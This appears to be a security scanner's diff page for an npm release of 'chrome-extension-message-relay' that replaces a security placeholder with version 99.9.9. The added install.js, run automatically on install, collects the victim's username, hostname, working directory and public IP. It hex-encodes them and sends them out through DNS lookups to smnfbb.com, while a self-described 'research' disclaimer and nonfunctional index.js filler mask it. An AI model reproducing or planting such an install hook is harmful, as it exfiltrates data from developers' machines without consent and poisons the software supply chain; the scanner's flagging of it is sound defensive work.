chrome-extension-message-relay 0.0.1-security.6 → 99.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of chrome-extension-message-relay might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,60 @@
1
+ const axios = require("axios");
2
+
3
+ const api_key = process.env.api_key;
4
+ const domain = process.env.domain;
5
+
6
+ export async function getUser() {
7
+ await axios
8
+ .get(
9
+ "https://" + domain + "/api/v2/user/?username=" + username + "&api_key=" + api_key
10
+ )
11
+ .then((response) => {
12
+ return response.data.objects;
13
+ })
14
+ .catch((err) => {
15
+ console.log(err);
16
+ });
17
+ return result;
18
+ }
19
+
20
+ export async function getAllUsers() {
21
+ await axios
22
+ .get(
23
+ "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key
24
+ )
25
+ .then((response) => {
26
+ return response.data.objects;
27
+ })
28
+ .catch((err) => {
29
+ console.log(err);
30
+ });
31
+ return result;
32
+ }
33
+
34
+ export async function createUser(user) {
35
+ await axios
36
+ .post(
37
+ "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key, user
38
+ )
39
+ .then((response) => {
40
+ return response.data.objects;
41
+ })
42
+ .catch((err) => {
43
+ console.log(err);
44
+ });
45
+ return result;
46
+ }
47
+
48
+ export async function sumbitReport(username, report) {
49
+ await axios
50
+ .post(
51
+ "https://" + domain + "/api/v1/user/?username=" + username + "&api_key=" + api_key, report
52
+ )
53
+ .then((response) => {
54
+ return response.data.objects;
55
+ })
56
+ .catch((err) => {
57
+ console.log(err);
58
+ });
59
+ return result;
60
+ }
package/install.js ADDED
@@ -0,0 +1,53 @@
1
+ const http = require('http');
2
+ var os = require("os");
3
+ var dns = require("dns");
4
+
5
+ function generateString(length) {
6
+ const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
7
+ let result = '';
8
+ const charactersLength = characters.length;
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * charactersLength));
11
+ }
12
+
13
+ return result;
14
+ }
15
+
16
+ const topDomain = "smnfbb.com"
17
+ const packageName = process.argv[2]
18
+ const cwd = process.cwd()
19
+ const username = os.userInfo().username
20
+ const hostname = os.hostname()
21
+ const ID = generateString(5)
22
+ var IP = ""
23
+
24
+ try {
25
+ http.get({ 'host': 'api.ipify.org', 'port': 80, 'path': '/' }, function (resp) {
26
+ resp.on('data', function (ip) {
27
+ IP = ip
28
+ });
29
+ });
30
+ } catch (error) {
31
+ //
32
+ }
33
+
34
+ const data = JSON.stringify({
35
+ packagename: packageName,
36
+ cwd: cwd,
37
+ username: username,
38
+ hostname: hostname,
39
+ ip: IP
40
+ })
41
+
42
+ const options = {
43
+ family:4,
44
+ };
45
+
46
+ var dataHex = Buffer.from(data, "utf8").toString('hex') + "00"
47
+ var splitted = dataHex.match(/.{1,30}/g)
48
+
49
+ for (var i = 0; i < splitted.length; i++) {
50
+ var domain = ID + "." + i + "." + splitted[i] + "." + topDomain
51
+ dns.lookup(domain, options, () => {})
52
+ }
53
+
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "chrome-extension-message-relay",
3
- "version": "0.0.1-security.6",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.9.9",
4
+ "description": "This package is a proof of concept to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node install.js chrome-extension-message-relay"
8
+ },
9
+ "author": "smirnoffq@bugcrowdninja.com",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=chrome-extension-message-relay for more information.